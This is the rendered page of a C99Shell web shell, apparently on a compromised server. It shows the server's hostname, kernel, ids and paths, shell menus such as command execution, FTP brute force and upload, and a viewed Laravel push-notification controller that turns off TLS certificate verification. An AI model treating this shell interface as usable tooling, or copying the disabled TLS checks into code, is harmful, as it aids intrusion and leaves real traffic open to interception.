!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/PushNotification/Http/Controllers/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PushNotificationController.php (6.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PushNotification\Http\Controllers;

use 
App\Models\Setting;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\PushNotification\Entities\UserDeviceToken;

class 
PushNotificationController extends Controller
{
    public function 
__construct()
    {
        
$this->middleware('access_limitation')->only([
            
'update',
            
'statusUpdate',
        ]);
    }

    
/**
     * Push Notification Settings View
     *
     * @return Renderable
     */
    
public function index()
    {
        try {

            
$setting Setting::first();

            return 
view('admin.settings.pages.general.push-notification'compact('setting'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
updateDeviceToken(Request $request)
    {
        try {

            
$old_token UserDeviceToken::where('device_token'$request->token)->first();

            if (! 
$old_token) {
                
UserDeviceToken::create([
                    
'user_id' => auth()->id(),
                    
'device_token' => $request->token,
                ]);
            }

            return 
response()->json(['Token successfully stored.']);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
sendNotification($userId$name$message)
    {
        try {

            
$url 'https://fcm.googleapis.com/fcm/send';

            
$tokens UserDeviceToken::where('user_id'$userId)->get();
            
$FcmToken = [];
            foreach (
$tokens as $token) {
                
array_push($FcmToken$token->device_token);
            }

            
$serverKey setting('server_key'); // ADD SERVER KEY HERE PROVIDED BY FCM

            
$data = [
                
'registration_ids' => $FcmToken,
                
'notification' => [
                    
'title' => 'New message from '.$name,
                    
'body' => $message,
                ],
            ];
            
$encodedData json_encode($data);

            
$headers = [
                
'Authorization:key='.$serverKey,
                
'Content-Type: application/json',
            ];

            
$ch curl_init();

            
curl_setopt($chCURLOPT_URL$url);
            
curl_setopt($chCURLOPT_POSTtrue);
            
curl_setopt($chCURLOPT_HTTPHEADER$headers);
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
            
curl_setopt($chCURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_1_1);
            
// Disabling SSL Certificate support temporarly
            
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
            
curl_setopt($chCURLOPT_POSTFIELDS$encodedData);
            
// Execute post
            
$result curl_exec($ch);
            if (
$result === false) {
                exit(
'Curl failed: '.curl_error($ch));
            }
            
// Close connection
            
curl_close($ch);

            
// FCM response
            
return response()->json($result);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return Renderable
     */
    
public function create()
    {
        return 
view('pushnotification::create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @return Renderable
     */
    
public function store(Request $request)
    {
        
//
    
}

    
/**
     * Show the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function show($id)
    {
        return 
view('pushnotification::show');
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function edit($id)
    {
        return 
view('pushnotification::edit');
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function update(Request $request)
    {
        
$request->validate([
            
'server_key' => 'required',
            
'api_key' => 'required',
            
'auth_domain' => 'required',
            
'project_id' => 'required',
            
'storage_bucket' => 'required',
            
'messaging_sender_id' => 'required',
            
'app_id' => 'required',
            
'measurement_id' => 'required',
        ]);
        try {

            
$setting Setting::first();
            
$setting->update([
                
'push_notification_status' => $request->push_notification_status 0,
                
'server_key' => $request->server_key,
                
'api_key' => $request->api_key,
                
'auth_domain' => $request->auth_domain,
                
'project_id' => $request->project_id,
                
'storage_bucket' => $request->storage_bucket,
                
'messaging_sender_id' => $request->messaging_sender_id,
                
'app_id' => $request->app_id,
                
'measurement_id' => $request->measurement_id,
            ]);

            
flashSuccess('Push notification configuration updated');

            return 
redirect()->back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
statusUpdate(Request $request)
    {
        try {

            
$setting Setting::first();
            
$setting->update([
                
'push_notification_status' => $request->status 0,
            ]);

            return [
'success' => true];
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function destroy($id)
    {
        
//
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--